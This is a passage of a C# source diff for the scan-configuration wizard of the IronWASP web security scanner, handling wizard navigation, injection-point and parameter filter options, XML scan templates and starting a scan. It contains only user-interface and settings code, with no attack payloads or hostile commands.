CB.Append(Row.Cells[1].Value.ToString()); - } - } - XW.WriteValue(CB.ToString()); - XW.WriteEndElement(); - - XW.WriteStartElement("query_white_list"); XW.WriteValue(QueryParametersPlusTB.Text); XW.WriteEndElement(); - XW.WriteStartElement("query_black_list"); XW.WriteValue(QueryParametersMinusTB.Text); XW.WriteEndElement(); - - XW.WriteStartElement("body_white_list"); XW.WriteValue(BodyParametersPlusTB.Text); XW.WriteEndElement(); - XW.WriteStartElement("body_black_list"); XW.WriteValue(BodyParametersMinusTB.Text); XW.WriteEndElement(); - - XW.WriteStartElement("cookie_white_list"); XW.WriteValue(CookieParametersPlusTB.Text); XW.WriteEndElement(); - XW.WriteStartElement("cookie_black_list"); XW.WriteValue(CookieParametersMinusTB.Text); XW.WriteEndElement(); - - XW.WriteStartElement("headers_white_list"); XW.WriteValue(HeadersParametersPlusTB.Text); XW.WriteEndElement(); - XW.WriteStartElement("headers_black_list"); XW.WriteValue(HeadersParametersMinusTB.Text); XW.WriteEndElement(); - - if (QueryParametersPlusRB.Checked) - { - XW.WriteStartElement("query_filter_type"); XW.WriteValue("+"); XW.WriteEndElement(); - } - else - { - XW.WriteStartElement("query_filter_type"); XW.WriteValue("-"); XW.WriteEndElement(); - } - - if (BodyParametersPlusRB.Checked) - { - XW.WriteStartElement("body_filter_type"); XW.WriteValue("+"); XW.WriteEndElement(); - } - else - { - XW.WriteStartElement("body_filter_type"); XW.WriteValue("-"); XW.WriteEndElement(); - } - - if (CookieParametersPlusRB.Checked) - { - XW.WriteStartElement("cookie_filter_type"); XW.WriteValue("+"); XW.WriteEndElement(); - } - else - { - XW.WriteStartElement("cookie_filter_type"); XW.WriteValue("-"); XW.WriteEndElement(); - } - - if (HeadersParametersPlusRB.Checked) - { - XW.WriteStartElement("headers_filter_type"); XW.WriteValue("+"); XW.WriteEndElement(); - } - else - { - XW.WriteStartElement("headers_filter_type"); XW.WriteValue("-"); XW.WriteEndElement(); - } - - XW.WriteEndElement(); - XW.WriteEndDocument(); - XW.Close(); - return SB.ToString(); - } - - private void LoadTemplateLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) - { - OpenTemplateDialog.Title = "Open an existing Scan Template"; - - while (OpenTemplateDialog.ShowDialog() == DialogResult.OK) - { - try - { - FileInfo OpenedFile = new FileInfo(OpenTemplateDialog.FileName); - StreamReader Reader = new StreamReader(OpenedFile.FullName); - string TemplateXml = Reader.ReadToEnd(); - Reader.Close(); - LoadSettingsFromTemplate(TemplateXml); - ScanTemplateNameLbl.Text = string.Format("Loaded template file - {0}", OpenedFile.Name); - break; - } - catch (Exception Exp) - { - MessageBox.Show(string.Format("Unable to open file: {0}", new object[] { Exp.Message })); - } - } - } - - void LoadSettingsFromTemplate(string TemplateXml) - { - XmlDocument XDoc = new XmlDocument(); - XDoc.LoadXml(TemplateXml); - foreach (XmlNode Node in XDoc.ChildNodes[1].ChildNodes) - { - switch (Node.Name) - { - case ("scan_type"): - break; - case ("crawler_threads"): - try - { - ConfigCrawlerThreadMaxCountTB.Value = Int32.Parse(Node.InnerText); - } - catch { } - break; - case ("user_agent"): - ConfigCrawlerUserAgentTB.Text = Node.InnerText; - break; - case ("spl_header_name"): - UseSpecialHeaderCB.Checked = true; - SpecialHeaderNameTB.Text = Node.InnerText; - break; - case ("spl_header_value"): - SpecialHeaderValueTB.Text = Node.InnerText; - break; - case ("do_dir_guessing"): - ConfigureScanDirAndFileGuessingCB.Checked = (Node.InnerText == "true"); - break; - case ("prompt_user"): - PromptUserCB.Checked = (Node.InnerText == "true"); - break; - case ("inject_upp"): - InjectUrlPathPartsCB.Checked = (Node.InnerText == "true"); - break; - case ("inject_query"): - InjectQueryCB.Checked = (Node.InnerText == "true"); - break; - case ("inject_body"): - InjectBodyCB.Checked = (Node.InnerText == "true"); - break; - case ("inject_cookie"): - InjectCookieCB.Checked = (Node.InnerText == "true"); - break; - case ("inject_header"): - InjectHeadersCB.Checked = (Node.InnerText == "true"); - break; - case ("inject_names"): - InjectNamesCB.Checked = (Node.InnerText == "true"); - break; - case ("checks"): - int CheckedCount = 0; - foreach(string PluginName in Node.InnerText.Split(new char[]{','}, StringSplitOptions.RemoveEmptyEntries)) - { - foreach (DataGridViewRow Row in ScanPluginsGrid.Rows) - { - if (Row.Cells[1].Value.ToString().Equals(PluginName.Trim())) - { - Row.Cells[0].Value = true; - CheckedCount++; - } - } - } - if (CheckedCount == ScanPluginsGrid.Rows.Count) - ScanAllPluginsCB.Checked = true; - else - ScanAllPluginsCB.Checked = false; - break; - case ("query_white_list"): - QueryParametersPlusTB.Text = Node.InnerText; - QueryParametersPlusRB.Checked = true; - break; - case ("query_black_list"): - QueryParametersMinusTB.Text = Node.InnerText; - QueryParametersMinusRB.Checked = true; - break; - case ("body_white_list"): - BodyParametersPlusTB.Text = Node.InnerText; - BodyParametersPlusRB.Checked = true; - break; - case ("body_black_list"): - BodyParametersMinusTB.Text = Node.InnerText; - BodyParametersMinusRB.Checked = true; - break; - case ("cookie_white_list"): - CookieParametersPlusTB.Text = Node.InnerText; - CookieParametersPlusRB.Checked = true; - break; - case ("cookie_black_list"): - CookieParametersMinusTB.Text = Node.InnerText; - CookieParametersMinusRB.Checked = true; - break; - case ("headers_white_list"): - HeadersParametersPlusTB.Text = Node.InnerText; - HeadersParametersPlusRB.Checked = true; - break; - case ("headers_black_list"): - HeadersParametersMinusTB.Text = Node.InnerText; - HeadersParametersMinusRB.Checked = true; - break; - case ("query_filter_type"): - if (Node.InnerText.Equals("+")) - QueryParametersPlusRB.Checked = true; - else - QueryParametersMinusRB.Checked = true; - break; - case ("body_filter_type"): - if (Node.InnerText.Equals("+")) - BodyParametersPlusRB.Checked = true; - else - BodyParametersMinusRB.Checked = true; - break; - case ("cookie_filter_type"): - if (Node.InnerText.Equals("+")) - CookieParametersPlusRB.Checked = true; - else - CookieParametersMinusRB.Checked = true; - break; - case ("headers_filter_type"): - if (Node.InnerText.Equals("+")) - HeadersParametersPlusRB.Checked = true; - else - HeadersParametersMinusRB.Checked = true; - break; - } - } - } - - private void FinalBtn_Click(object sender, EventArgs e) - { - StartScan(); - } - - void StartScan() - { - ScanManager.Stop(true); - ScanManager.PrimaryHost = BaseRequest.Host; - ScanManager.BaseUrl = BaseUrlTB.Text; - ScanManager.StartingUrl = StartingUrlTB.Text; - ScanManager.Mode = ScanMode.UserConfigured; - ScanManager.PerformDirAndFileGuessing = ConfigureScanDirAndFileGuessingCB.Checked; - ScanManager.CanPromptUser = PromptUserCB.Checked; - - Crawler.MaxCrawlThreads = ConfigCrawlerThreadMaxCountTB.Value; - Crawler.UserAgent = ConfigCrawlerUserAgentTB.Text; - - if (UseSpecialHeaderCB.Checked) - { - ScanManager.SpecialHeader = new string[]{SpecialHeaderNameTB.Text, SpecialHeaderValueTB.Text}; - } - - if (BaseRequest.SSL) - { - ScanManager.HTTPS = true; - if (CrossProtoYesRB.Checked) ScanManager.HTTP = true; - } - else - { - ScanManager.HTTP = true; - if (CrossProtoYesRB.Checked) ScanManager.HTTPS = true; - } - ScanManager.Checks.Clear(); - foreach (DataGridViewRow Row in ScanPluginsGrid.Rows) - { - if ((bool)Row.Cells[0].Value) ScanManager.Checks.Add(Row.Cells[1].Value.ToString()); - } - - ScanManager.InjectUrlPathParts = InjectUrlPathPartsCB.Checked; - ScanManager.InjectQuery = InjectQueryCB.Checked; - ScanManager.InjectBody = InjectBodyCB.Checked; - ScanManager.InjectCookie = InjectCookieCB.Checked; - ScanManager.InjectHeaders = InjectHeadersCB.Checked; - - if (InjectNamesCB.Checked) - { - ScanManager.InjectQueryName = InjectUrlPathPartsCB.Checked; - ScanManager.InjectBodyName = InjectBodyCB.Checked; - ScanManager.InjectCookieName = InjectCookieCB.Checked; - ScanManager.InjectHeaderName = InjectHeadersCB.Checked; - } - else - { - ScanManager.InjectQueryName = false; - ScanManager.InjectBodyName = false; - ScanManager.InjectCookieName = false; - ScanManager.InjectHeaderName = false; - } - - ScanManager.QueryWhiteList.Clear(); - ScanManager.QueryBlackList.Clear(); - - ScanManager.BodyWhiteList.Clear(); - ScanManager.BodyBlackList.Clear(); - - ScanManager.CookieWhiteList.Clear(); - ScanManager.CookieBlackList.Clear(); - - ScanManager.HeaderWhiteList.Clear(); - ScanManager.HeaderBlackList.Clear(); - - if (QueryParametersFilterCB.Checked) - { - if (QueryParametersPlusRB.Checked) - { - foreach (string Name in QueryParametersPlusTB.Text.Split(new char[] { ',' }, StringSplitOptions.RemoveEmptyEntries)) - { - ScanManager.QueryWhiteList.Add(Name.Trim()); - } - } - else - { - foreach (string Name in QueryParametersMinusTB.Text.Split(new char[] { ',' }, StringSplitOptions.RemoveEmptyEntries)) - { - ScanManager.QueryBlackList.Add(Name.Trim()); - } - } - } - - if (BodyParametersFilterCB.Checked) - { - if (BodyParametersPlusRB.Checked) - { - foreach (string Name in BodyParametersPlusTB.Text.Split(new char[] { ',' }, StringSplitOptions.RemoveEmptyEntries)) - { - ScanManager.BodyWhiteList.Add(Name.Trim()); - } - } - else - { - foreach (string Name in BodyParametersMinusTB.Text.Split(new char[] { ',' }, StringSplitOptions.RemoveEmptyEntries)) - { - ScanManager.BodyBlackList.Add(Name.Trim()); - } - } - } - - if (CookieParametersFilterCB.Checked) - { - if (CookieParametersPlusRB.Checked) - { - foreach (string Name in CookieParametersPlusTB.Text.Split(new char[] { ',' }, StringSplitOptions.RemoveEmptyEntries)) - { - ScanManager.CookieWhiteList.Add(Name.Trim()); - } - } - else - { - foreach (string Name in CookieParametersMinusTB.Text.Split(new char[] { ',' }, StringSplitOptions.RemoveEmptyEntries)) - { - ScanManager.CookieBlackList.Add(Name.Trim()); - } - } - } - - if (HeadersParametersFilterCB.Checked) - { - if (HeadersParametersPlusRB.Checked) - { - foreach (string Name in HeadersParametersPlusTB.Text.Split(new char[] { ',' }, StringSplitOptions.RemoveEmptyEntries)) - { - ScanManager.HeaderWhiteList.Add(Name.Trim()); - } - } - else - { - foreach (string Name in HeadersParametersMinusTB.Text.Split(new char[] { ',' }, StringSplitOptions.RemoveEmptyEntries)) - { - ScanManager.HeaderBlackList.Add(Name.Trim()); - } - } - } - - //ScanManager.HostsToInclude = new List(HostsToIncludeTB.Text.Split(new string[] { "\r\n" }, StringSplitOptions.RemoveEmptyEntries)); - ScanManager.UrlsToAvoid = new List(ConfigureScanUrlToAvoidTB.Text.Split(new string[] { "\r\n" }, StringSplitOptions.RemoveEmptyEntries)); - ScanManager.IncludeSubDomains = SubdomainYesRB.Checked; - ScanManager.CrawlAndScan = CrawlAndScanRB.Checked; - - ScanManager.StartScan(); - IronUI.UpdateConsoleControlsStatus(true); - - IronUI.SSW.CloseWindow(); - } - - private void ScanAllPluginsCB_Click(object sender, EventArgs e) - { - foreach (DataGridViewRow Row in ScanPluginsGrid.Rows) - { - Row.Cells[0].Value = ScanAllPluginsCB.Checked; - } - } - - private void StartScanWizard_FormClosing(object sender, FormClosingEventArgs e) - { - if (IronUI.UI.CanShutdown) return; - if (!CanClose) - { - if (this.CurrentStep == 0) - { - this.CanClose = true; - } - else if (this.CurrentStep == 5) - { - e.Cancel = true; - MessageBox.Show("Once you click on the 'Start Scan' button this window will automatically close.\r\nIf you want to close this window without starting a scan then it can only be done from the first step.\r\nUse the '<- Previous Step' button on the bottom left corner to go to the first step and then press the 'Cancel' button on the bottom left corner."); - } - else - { - e.Cancel = true; - MessageBox.Show("This window can only be closed from the first step.\r\nUse the '<- Previous Step' button on the bottom left corner to go to the first step and then press the 'Cancel' button on the bottom left corner."); - } - } - } - - internal void CloseWindow() - { - this.CanClose = true; - this.Close(); - } - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Text; +using System.Windows.Forms; +using System.Threading; +using System.Xml; +using System.IO; + +namespace IronWASP +{ + internal partial class StartScanWizard : Form + { + bool CanClose = false; + + internal Request BaseRequest; + Thread T; + + int CurrentStep = 0; + + public StartScanWizard() + { + InitializeComponent(); + } + + private void QueryParametersFilterCB_CheckedChanged(object sender, EventArgs e) + { + if (QueryParametersFilterCB.Checked) + { + QueryParametersPlusRB.Enabled = true; + QueryParametersMinusRB.Enabled = true; + QueryParametersPlusTB.Enabled = true; + QueryParametersMinusTB.Enabled = true; + } + else + { + QueryParametersPlusRB.Enabled = false; + QueryParametersMinusRB.Enabled = false; + QueryParametersPlusTB.Enabled = false; + QueryParametersMinusTB.Enabled = false; + } + } + + private void BodyParametersFilterCB_CheckedChanged(object sender, EventArgs e) + { + if (BodyParametersFilterCB.Checked) + { + BodyParametersPlusRB.Enabled = true; + BodyParametersMinusRB.Enabled = true; + BodyParametersPlusTB.Enabled = true; + BodyParametersMinusTB.Enabled = true; + } + else + { + BodyParametersPlusRB.Enabled = false; + BodyParametersMinusRB.Enabled = false; + BodyParametersPlusTB.Enabled = false; + BodyParametersMinusTB.Enabled = false; + } + } + + private void CookieParametersFilterCB_CheckedChanged(object sender, EventArgs e) + { + if (CookieParametersFilterCB.Checked) + { + CookieParametersPlusRB.Enabled = true; + CookieParametersMinusRB.Enabled = true; + CookieParametersPlusTB.Enabled = true; + CookieParametersMinusTB.Enabled = true; + } + else + { + CookieParametersPlusRB.Enabled = false; + CookieParametersMinusRB.Enabled = false; + CookieParametersPlusTB.Enabled = false; + CookieParametersMinusTB.Enabled = false; + } + } + + private void HeadersParametersFilterCB_CheckedChanged(object sender, EventArgs e) + { + if (HeadersParametersFilterCB.Checked) + { + HeadersParametersPlusRB.Enabled = true; + HeadersParametersMinusRB.Enabled = true; + HeadersParametersPlusTB.Enabled = true; + HeadersParametersMinusTB.Enabled = true; + } + else + { + HeadersParametersPlusRB.Enabled = false; + HeadersParametersMinusRB.Enabled = false; + HeadersParametersPlusTB.Enabled = false; + HeadersParametersMinusTB.Enabled = false; + } + } + + void RefreshInjectNamesText() + { + StringBuilder SB = new StringBuilder(); + + if (InjectQueryCB.Checked) + { + if (SB.Length > 0) SB.Append(", "); + SB.Append("Query"); + } + if (InjectBodyCB.Checked) + { + if (SB.Length > 0) SB.Append(", "); + SB.Append("Body"); + } + if (InjectCookieCB.Checked) + { + if (SB.Length > 0) SB.Append(", "); + SB.Append("Cookie"); + } + if (InjectHeadersCB.Checked) + { + if (SB.Length > 0) SB.Append(", "); + SB.Append("Header"); + } + + InjectNamesCB.Text = string.Format("Parameter Names of {0}", SB.ToString()); + } + + private void InjectQueryCB_CheckedChanged(object sender, EventArgs e) + { + RefreshInjectNamesText(); + if (InjectQueryCB.Checked) + { + QueryParametersFilterCB.Enabled = true; + } + else + { + QueryParametersFilterCB.Checked = false; + QueryParametersFilterCB.Enabled = false; + } + } + + private void InjectBodyCB_CheckedChanged(object sender, EventArgs e) + { + RefreshInjectNamesText(); + if (InjectBodyCB.Checked) + { + BodyParametersFilterCB.Enabled = true; + } + else + { + BodyParametersFilterCB.Checked = false; + BodyParametersFilterCB.Enabled = false; + } + } + + private void InjectCookieCB_CheckedChanged(object sender, EventArgs e) + { + RefreshInjectNamesText(); + if (InjectCookieCB.Checked) + { + CookieParametersFilterCB.Enabled = true; + } + else + { + CookieParametersFilterCB.Checked = false; + CookieParametersFilterCB.Enabled = false; + } + } + + private void InjectHeadersCB_CheckedChanged(object sender, EventArgs e) + { + RefreshInjectNamesText(); + if (InjectHeadersCB.Checked) + { + HeadersParametersFilterCB.Enabled = true; + } + else + { + HeadersParametersFilterCB.Checked = false; + HeadersParametersFilterCB.Enabled = false; + } + } + + private void StartScanWizard_Load(object sender, EventArgs e) + { + foreach (string Name in ActivePlugin.List()) + { + ScanPluginsGrid.Rows.Add(new object[]{true, Name}); + } + if (InjectQueryCB.Checked) QueryParametersFilterCB.Enabled = true; + if (InjectBodyCB.Checked) BodyParametersFilterCB.Enabled = true; + if (InjectCookieCB.Checked) CookieParametersFilterCB.Enabled = true; + if (InjectHeadersCB.Checked) HeadersParametersFilterCB.Enabled = true; + if(BaseRequest != null) + { + StartingUrlTB.Text = BaseRequest.Url; + BaseUrlTB.Text = "/"; + if (BaseRequest.SSL) + { + CrossProtoQuestionLbl.Text = string.Format(CrossProtoQuestionLbl.Text, "HTTP"); + } + else + { + CrossProtoQuestionLbl.Text = string.Format(CrossProtoQuestionLbl.Text, "HTTPS"); + } + } + Step1StatusLbl.Text = "Checking if the provided Url is reachable, please wait..."; + Step1Progress.Visible = true; + T = new Thread(CheckTargetConnectivity); + T.Start(); + } + + private void ScanPluginsGrid_CellClick(object sender, DataGridViewCellEventArgs e) + { + if (ScanPluginsGrid.SelectedRows == null) return; + if (ScanPluginsGrid.SelectedRows.Count == 0) return; + + if ((bool)ScanPluginsGrid.SelectedRows[0].Cells[0].Value) + { + ScanPluginsGrid.SelectedRows[0].Cells[0].Value = false; + ScanAllPluginsCB.Checked = false; + } + else + { + ScanPluginsGrid.SelectedRows[0].Cells[0].Value = true; + } + } + + private void BaseTabs_Selecting(object sender, TabControlCancelEventArgs e) + { + switch (BaseTabs.SelectedTab.Name) + { + case ("Zero"): + if (this.CurrentStep != 0) + { + this.BaseTabs.SelectTab(this.CurrentStep); + MessageBox.Show("Use the 'Next Step ->' and 'Previous Step ->' buttons on the bottom left and right corners of this window for navigation."); + } + break; + case("One"): + if (this.CurrentStep != 1) + { + this.BaseTabs.SelectTab(this.CurrentStep); + MessageBox.Show("Use the 'Next Step ->' and 'Previous Step ->' buttons on the bottom left and right corners of this window for navigation."); + } + break; + case ("Two"): + if (this.CurrentStep != 2) + { + this.BaseTabs.SelectTab(this.CurrentStep); + MessageBox.Show("Use the 'Next Step ->' and 'Previous Step ->' buttons on the bottom left and right corners of this window for navigation."); + } + break; + case ("Three"): + if (this.CurrentStep != 3) + { + this.BaseTabs.SelectTab(this.CurrentStep); + MessageBox.Show("Use the 'Next Step ->' and 'Previous Step ->' buttons on the bottom left and right corners of this window for navigation."); + } + break; + case ("Four"): + if (this.CurrentStep != 4) + { + this.BaseTabs.SelectTab(this.CurrentStep); + MessageBox.Show("Use the 'Next Step ->' and 'Previous Step ->' buttons on the bottom left and right corners of this window for navigation."); + } + break; + case ("Five"): + if (this.CurrentStep != 5) + { + this.BaseTabs.SelectTab(this.CurrentStep); + MessageBox.Show("Use the 'Next Step ->' and 'Previous Step ->' buttons on the bottom left and right corners of this window for navigation."); + } + break; + } + } + + private void StepZeroNextBtn_Click(object sender, EventArgs e) + { + this.CurrentStep = 1; + this.BaseTabs.SelectTab(1); + } + + private void StepOnePreviousBtn_Click(object sender, EventArgs e) + { + this.CurrentStep = 0; + this.BaseTabs.SelectTab(0); + } + + private void StepOneNextBtn_Click(object sender, EventArgs e) + { + this.CurrentStep = 2; + this.BaseTabs.SelectTab(2); + } + + private void StepTwoPreviousBtn_Click(object sender, EventArgs e) + { + this.CurrentStep = 1; + this.BaseTabs.SelectTab(1); + } + + private void StepTwoNextBtn_Click(object sender, EventArgs e) + { + string Msg = CheckStep1Input(); + if (Msg.Length == 0) + { + if (CrawlOnlyRB.Checked) + { + this.CurrentStep = 5; + this.BaseTabs.SelectTab(5); + } + else + { + this.CurrentStep = 3; + this.BaseTabs.SelectTab(3); + } + } + else + { + ShowStep2Error(Msg); + } + } + + private void StepThreePreviousBtn_Click(object sender, EventArgs e) + { + this.CurrentStep = 2; + this.BaseTabs.SelectTab(2); + } + + private void StepThreeNextBtn_Click(object sender, EventArgs e) + { + string Msg = CheckStep2Input(); + if (Msg.Length == 0) + { + this.CurrentStep = 4; + this.BaseTabs.SelectTab(4); + } + else + { + ShowStep3Error(Msg); + } + } + + private void StepFourPreviousBtn_Click(object sender, EventArgs e) + { + this.CurrentStep = 3; + this.BaseTabs.SelectTab(3); + } + + private void StepFourNextBtn_Click(object sender, EventArgs e) + { + this.CurrentStep = 5; + this.BaseTabs.SelectTab(5); + } + + private void StepFivePreviousBtn_Click(object sender, EventArgs e) + { + if (CrawlOnlyRB.Checked) + { + this.CurrentStep = 2; + this.BaseTabs.SelectTab(2); + } + else + { + this.CurrentStep = 4; + this.BaseTabs.SelectTab(4); + } + } + + string CheckStep1Input() + { + if (!BaseUrlTB.Text.StartsWith("/")) + { + BaseUrlTB.BackColor = Color.Red; + return "value must start with /"; + } + if (!StartingUrlTB.Text.StartsWith("/")) + { + StartingUrlTB.BackColor = Color.Red; + return "value must start with /"; + } + return ""; + } + + string CheckStep2Input() + { + if (!(InjectQueryCB.Checked || InjectBodyCB.Checked || InjectCookieCB.Checked || InjectHeadersCB.Checked || InjectUrlPathPartsCB.Checked || InjectNamesCB.Checked)) + { + return "Atleat one section of the request must be selected for scanning."; + } + if (InjectQueryCB.Checked) QueryParametersFilterCB.Checked = true; + if (InjectBodyCB.Checked) BodyParametersFilterCB.Checked = true; + if (InjectCookieCB.Checked) CookieParametersFilterCB.Checked = true; + if (InjectHeadersCB.Checked) HeadersParametersFilterCB.Checked = true; + + foreach (DataGridViewRow Row in ScanPluginsGrid.Rows) + { + if ((bool)Row.Cells[0].Value) + { + return ""; + } + } + return "Atleat one security check must be selected for scanning."; + } + + delegate void ConnectivityCheckEnd_d(bool Success); + internal void ConnectivityCheckEnd(bool Success) + { + if (Step1StatusLbl.InvokeRequired) + { + ConnectivityCheckEnd_d CALL_d = new ConnectivityCheckEnd_d(ConnectivityCheckEnd); + Step1StatusLbl.Invoke(CALL_d, new object[] { Success }); + } + else + { + if (Success) + { + Step1Progress.Visible = false; + Step1StatusLbl.Text = "Congrats! Url is reachable, proceed to the next step."; + StepZeroNextBtn.Enabled = true; + } + else + { + IronUI.UI.ConsoleScanUrlTB.ReadOnly = false; + this.CloseWindow(); + } + } + } + + delegate void ShowStep0Message_d(string Text); + internal void ShowStep0Message(string Text) + { + if (Step1StatusLbl.InvokeRequired) + { + ShowStep0Message_d CALL_d = new ShowStep0Message_d(ShowStep0Message); + Step1StatusLbl.Invoke(CALL_d, new object[] { Text }); + } + else + { + Step1StatusLbl.Text = Text; + } + } + + delegate void ShowStep0Error_d(string Text); + internal void ShowStep0Error(string Text) + { + if (Step1StatusLbl.InvokeRequired) + { + ShowStep0Error_d CALL_d = new ShowStep0Error_d(ShowStep0Error); + Step1StatusLbl.Invoke(CALL_d, new object[] { Text }); + } + else + { + this.Step0StatusTB.Text = Text; + if (Text.Length == 0) + { + this.Step0StatusTB.Visible = false; + } + else + { + this.Step0StatusTB.ForeColor = Color.Red; + this.Step0StatusTB.Visible = true; + } + } + } + + void ShowStep1Error(string Text) + { + this.Step1StatusTB.Text = Text; + if (Text.Length == 0) + { + this.Step1StatusTB.Visible = false; + } + else + { + this.Step1StatusTB.ForeColor = Color.Red; + this.Step1StatusTB.Visible = true; + } + } + void ShowStep2Error(string Text) + { + this.Step2StatusTB.Text = Text; + if (Text.Length == 0) + { + this.Step2StatusTB.Visible = false; + } + else + { + this.Step2StatusTB.ForeColor = Color.Red; + this.Step2StatusTB.Visible = true; + } + } + void ShowStep3Error(string Text) + { + this.Step3StatusTB.Text = Text; + if (Text.Length == 0) + { + this.Step3StatusTB.Visible = false; + } + else + { + this.Step3StatusTB.ForeColor = Color.Red; + this.Step3StatusTB.Visible = true; + } + } + void ShowStep4Error(string Text) + { + this.Step4StatusTB.Text = Text; + if (Text.Length == 0) + { + this.Step4StatusTB.Visible = false; + } + else + { + this.Step4StatusTB.ForeColor = Color.Red; + this.Step4StatusTB.Visible = true; + } + } + + private void ConfigureScanBaseUrlTB_TextChanged(object sender, EventArgs e) + { + if (BaseUrlTB.BackColor == Color.Red) + { + BaseUrlTB.BackColor = Color.White; + } + } + + private void ConfigureScanStartingUrlTB_TextChanged(object sender, EventArgs e) + { + if (StartingUrlTB.BackColor == Color.Red) + { + StartingUrlTB.BackColor = Color.White; + } + } + + void CheckTargetConnectivity() + { + try + { + BaseRequest.Source = RequestSource.Probe; + Response Res = BaseRequest.Send(); + this.ConnectivityCheckEnd(true); + } + catch (Exception Exp) + { + IronUI.ShowConsoleStatus(string.Format("Url is not reachable. Error: {0}", Exp.Message), true); + this.ConnectivityCheckEnd(false); + } + } + + private void ConfigCrawlerThreadMaxCountTB_Scroll(object sender, EventArgs e) + { + ConfigCrawlerThreadMaxCountLbl.Text = ConfigCrawlerThreadMaxCountTB.Value.ToString(); + } + + private void CancelBtn_Click(object sender, EventArgs e) + { + IronUI.UI.ConsoleScanUrlTB.ReadOnly = false; + this.CloseWindow(); + } + + private void QueryParametersMinusRB_CheckedChanged(object sender, EventArgs e) + { + if (QueryParametersMinusRB.Checked) + { + QueryParametersFilterCB.Text = "Don't scan these Query Parameters:"; + } + } + + private void QueryParametersPlusRB_CheckedChanged(object sender, EventArgs e) + { + if (QueryParametersPlusRB.Checked) + { + QueryParametersFilterCB.Text = "Only scan these Query Parameters:"; + } + } + + private void BodyParametersMinusRB_CheckedChanged(object sender, EventArgs e) + { + if (BodyParametersMinusRB.Checked) + { + BodyParametersFilterCB.Text = "Don't scan these Body Parameters:"; + } + } + + private void BodyParametersPlusRB_CheckedChanged(object sender, EventArgs e) + { + if (BodyParametersPlusRB.Checked) + { + BodyParametersFilterCB.Text = "Only scan these Body Parameters:"; + } + } + + private void CookieParametersMinusRB_CheckedChanged(object sender, EventArgs e) + { + if (CookieParametersMinusRB.Checked) + { + CookieParametersFilterCB.Text = "Don't scan these Cookie Parameters:"; + } + } + + private void CookieParametersPlusRB_CheckedChanged(object sender, EventArgs e) + { + if (CookieParametersPlusRB.Checked) + { + CookieParametersFilterCB.Text = "Only scan these Cookie Parameters:"; + } + } + + private void HeadersParametersMinusRB_CheckedChanged(object sender, EventArgs e) + { + if (HeadersParametersMinusRB.Checked) + { + HeadersParametersFilterCB.Text = "Don't scan these Header Parameters:"; + } + } + + private void HeadersParametersPlusRB_CheckedChanged(object sender, EventArgs e) + { + if (HeadersParametersPlusRB.Checked) + { + HeadersParametersFilterCB.Text = "Only scan these Header Parameters:"; + } + } + + private void SaveTemplateLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + { + while (SaveTemplateDialog.ShowDialog() == DialogResult.OK) + { + FileInfo Info = new FileInfo(SaveTemplateDialog.FileName); + string Content = GetTemplateXml(); + if (Info.Name.Length == 0) + { + MessageBox.Show("Please enter a name"); + } + else if (!Info.Name.EndsWith(".ifst")) + { + MessageBox.Show("The file extension must be .ifst"); + } + else + { + try + { + StreamWriter Writer = new StreamWriter(Info.FullName); + Writer.Write(Content); + Writer.Close(); + } + catch (Exception Exp) + { + MessageBox.Show(string.Format("Unable to save file: {0}", new object[] { Exp.Message })); + } + break; + } + } + } + + string GetTemplateXml() + { + StringBuilder SB = new StringBuilder(); + XmlWriterSettings XWS = new XmlWriterSettings(); + XWS.Indent = true; + XmlWriter XW = XmlWriter.Create(SB, XWS); + XW.WriteStartDocument(); + XW.WriteStartElement("scan_template"); + XW.WriteStartElement("version"); XW.WriteValue("1.0"); XW.WriteEndElement(); + XW.WriteStartElement("scan_type"); XW.WriteValue("1"); XW.WriteEndElement(); + //Crawler settings + XW.WriteStartElement("crawler_threads"); XW.WriteValue(ConfigCrawlerThreadMaxCountTB.Value); XW.WriteEndElement(); + XW.WriteStartElement("user_agent"); XW.WriteValue(ConfigCrawlerUserAgentTB.Text); XW.WriteEndElement(); + XW.WriteStartElement("prompt_user"); XW.WriteValue(ConfigCrawlerUserAgentTB.Text); XW.WriteEndElement(); + + if (UseSpecialHeaderCB.Checked) + { + XW.WriteStartElement("spl_header_name"); XW.WriteValue(SpecialHeaderNameTB.Text); XW.WriteEndElement(); + XW.WriteStartElement("spl_header_value"); XW.WriteValue(SpecialHeaderValueTB.Text); XW.WriteEndElement(); + } + XW.WriteStartElement("do_dir_guessing"); XW.WriteValue(ConfigureScanDirAndFileGuessingCB.Checked); XW.WriteEndElement(); + //Selected Injection Points + XW.WriteStartElement("inject_upp"); XW.WriteValue(InjectUrlPathPartsCB.Checked); XW.WriteEndElement(); + XW.WriteStartElement("inject_query"); XW.WriteValue(InjectQueryCB.Checked); XW.WriteEndElement(); + XW.WriteStartElement("inject_body"); XW.WriteValue(InjectBodyCB.Checked); XW.WriteEndElement(); + XW.WriteStartElement("inject_cookie"); XW.WriteValue(InjectCookieCB.Checked); XW.WriteEndElement(); + XW.WriteStartElement("inject_header"); XW.WriteValue(InjectHeadersCB.Checked); XW.WriteEndElement(); + XW.WriteStartElement("inject_names"); XW.WriteValue(InjectNamesCB.Checked); XW.WriteEndElement(); + //Selected checks + XW.WriteStartElement("checks"); + StringBuilder CB = new StringBuilder(); + foreach (DataGridViewRow Row in ScanPluginsGrid.Rows) + { + if ((bool)Row.Cells[0].Value) + { + if (CB.Length > 0) CB.Append(", "); + CB.Append(Row.Cells[1].Value.ToString()); + } + } + XW.WriteValue(CB.ToString()); + XW.WriteEndElement(); + + XW.WriteStartElement("query_white_list"); XW.WriteValue(QueryParametersPlusTB.Text); XW.WriteEndElement(); + XW.WriteStartElement("query_black_list"); XW.WriteValue(QueryParametersMinusTB.Text); XW.WriteEndElement(); + + XW.WriteStartElement("body_white_list"); XW.WriteValue(BodyParametersPlusTB.Text); XW.WriteEndElement(); + XW.WriteStartElement("body_black_list"); XW.WriteValue(BodyParametersMinusTB.Text); XW.WriteEndElement(); + + XW.WriteStartElement("cookie_white_list"); 